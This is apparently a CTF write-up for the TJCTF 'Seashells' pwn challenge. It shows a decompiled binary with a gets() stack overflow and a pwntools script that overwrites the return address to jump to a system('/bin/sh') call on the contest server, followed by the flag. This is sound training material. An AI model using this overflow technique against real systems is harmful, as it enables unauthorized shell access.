# Seashells
> I heard there's someone selling shells? They seem to be out of stock though...> > nc p1.tjctf.org 8009
Attached is a binary.
## Description
First we use `checksec` to see which security features are enabled. There is no PIE, nor canary, so exploit will probably be easy. Let's decompile the code using Ghidra.
```cundefined8 main(void){  int iVar1;  char local_12 [10];   setbuf(stdout,(char *)0x0);  setbuf(stdin,(char *)0x0);  setbuf(stderr,(char *)0x0);  puts("Welcome to Sally\'s Seashore Shell Shop");  puts("Would you like a shell?");  gets(local_12);  iVar1 = strcasecmp(local_12,"yes");  if (iVar1 == 0) {    puts("sorry, we are out of stock");  }  else {    puts("why are you even here?");  }  return 0;}```
So here is our buffer overflow: it only uses the `gets` function which performs no boundary check.
Moreover, we see a function `shell`:
```c
void shell(long param_1)
{  if (param_1 == -0x2152350145414111) {    system("/bin/sh");  }  return;}```
Easily enough, we have the call to system. No PIE means we can know the address of `shell` on the server, so the exploit is quite straightforward.
## Solution
With `gdb` we retrieve the address of the instructions corresponding to `system("/bin/sh");` (we bypass the if statement), overflow the buffer and jump there.
To find the offset, we also use gdb, filling the buffer with a cyclic pattern and verify where we jump.
```pythonfrom pwn import *
sh = remote("p1.tjctf.org", 8009)
shell_addr = 0x00000000004006e3offset = 18
sh.recvuntil("hell?")payload = b'a'*offset + p64(shell_addr) + b'\x00'sh.sendline(payload)
sh.interactive()```
Flag: `tjctf{she_s3lls_se4_sh3ll5}`
